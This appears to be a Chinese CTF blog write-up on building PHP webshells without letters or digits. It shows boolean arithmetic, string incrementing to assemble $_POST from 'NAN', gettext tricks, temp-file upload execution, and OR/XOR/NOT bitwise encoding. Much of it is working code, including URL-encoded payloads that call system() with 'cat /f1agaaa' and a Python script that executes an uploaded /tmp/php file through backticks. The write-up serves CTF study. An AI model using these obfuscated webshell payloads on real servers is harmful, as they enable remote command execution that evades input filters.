无数字字母获取所有数字
通过boolean类型进行加减1
var_dump((true+true) == 2); // D:\phpstudy_pro\WWW\a.php:2:boolean true
从两个真相加得到了2,那么布尔类型的都应该都可以进行加减1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// 单引号
$_ = ''=='';
echo $_+$_; // 2
// 未定义变量
$_ = $__==$__;
echo $_+$_; // 2
// 未定义常量
$_ = _==_;
echo $_+$_; // 2
// 中括号
$_ = []==[];
echo $_+$_; // 2
// 获取0
$_ = []==[];
echo $_-$_; // 0
// 获取false
$_ = ''=='_';
var_dump($_); // D:\phpstudy_pro\WWW\a.php:3:boolean false
总而言之就是拿着两个类型去比较,当然也可以用大于号小于号之类的去比较
当然有时候未定义的变量、常量,也可以当作false来用1
2
3$a = 'kaikaix';
echo $a[$b]; //输出 k
echo $a[_]; //输出 k
无数字字母获取所有的字母
数组拼接
1 | $_ = ''.[]; //字符串与数组拼接变成Array |
剩下的操作就是一些自加操作了,这样就可以获取到所有的字母了
在php中字母是可以自加的(不能自减),但是特殊字符不行1
2
3
4$a = 'a';
$a++; //变成b
$a = '(';
$a++; //还是(
这里我突发奇想,想看看class类型能不能拼接出Object字符串,null能不能拼接出字符串null,然而并不行,那么就只能先告一段落
利用数学错误
php中0/0会返回NAN,1/0会返回INF1
2
3
4
5
6
7
8
9// 0/0
$_ = (''!='')/(''!=''); //false/false 报错 NAN
$_ .= ''; //将报错与字符串拼接,转换为字符串NAN
echo $_; //打印出 NAN
// 1/0
$_ = (''=='')/(''!=''); //true/false报错 INF
$_ .= ''; //将报错与字符串拼接,转换为字符串INF
echo $_; //打印INF
当然上面的代码还是有点长的,可以用undefined的常量或变量相除,就会缩短代码长度1
2
3
4
5
6
7
8
9
10
11//常量
$_=_/_;
$_.=_;
echo $_; //输出NAN_
//缩短代码
$_=(_/_._);
echo $_; //输出NAN_
//变量
$_=($_/$_.$_);
echo $_; //输出NAN
这样可以获取到NAN的字符串,那么提取第一个也就是N
因为POST这几个字母都在N后面,那么进行一些自加操作就可以获取到$_POST了,我这里抄一下别的师傅的代码1
2
3
4
5
6
7
8
9
10
$a=(_/_._)[0]; //直接拼接成字符串并切片
$o=++$a; //$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o; //$o=>PO,$a=>P
$a++; //Q
$a++; //R
$o.=++$a; //$o=>POS,$a=>S
$o.=++$a; //$o=>POST,$a=>T
$_=_.$o; //_POST
$$_[0]($$_[_]); //$_POST[0]($_POST[_]);
在这里的变量名称最后替换成特殊字符就可以了
比如下图这些1
2$Ñ = 1;
echo $Ñ;
payloadctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa
gettext
当php安装了gettext扩展,这个扩展中_()相当于gettext()
相关文档 https://www.php.net/manual/en/book.gettext.php1
$a=_(a/a)[a]; //获取到N
最后一些自加的顺序操作可以让你的webshell更短,但是这里就不细说了,因为我感觉有点没必要
可以参考这篇文章的底部
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah
直接上代码
72位字符1
2
3
4
5
6
7
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])
payloadctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa
68位字符1
2
3$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起
payloadctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa
上传临时文件
具体参考p神文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html1
2
3
4
5
6import requests
url="http://xxx/test.php?code=<?=`. /???/????????[@-[]`;?>"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)
核心原理就是上传的文件会临时保存到/tmp/phpXXXXXX中,后面的X是随机字符
[@-[]这个代表?是从@-[,也就是所有的大写字母
那么命令执行就可以去执行这个临时文件
位运算
或
主要是通过特殊字符进行异或运算得到正常字符
比如("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")()
运算完以后就是phpinfo()
这里有相关的代码
https://github.com/kaikaix/ctf/tree/main/phpshell/%E6%88%96
当然双引号可以替换为单引号
如果是直接复制到php文件中去执行的话需要先url decode才行(" "|"```````")();
异或
异或与或的原理类似
https://github.com/kaikaix/ctf/tree/main/phpshell/%E5%BC%82%E6%88%96
取反
这里用的yu22x的脚本
https://github.com/kaikaix/ctf/tree/main/phpshell/%E5%8F%96%E5%8F%8D
这里是用php命令行去执行
如果没有参数可以把后面括号里面的东西删除(~%8F%97%8F%96%91%99%90)();
同理,如果想在php中执行,也要先urldecode
收录一下其他人的脚本
1 |
|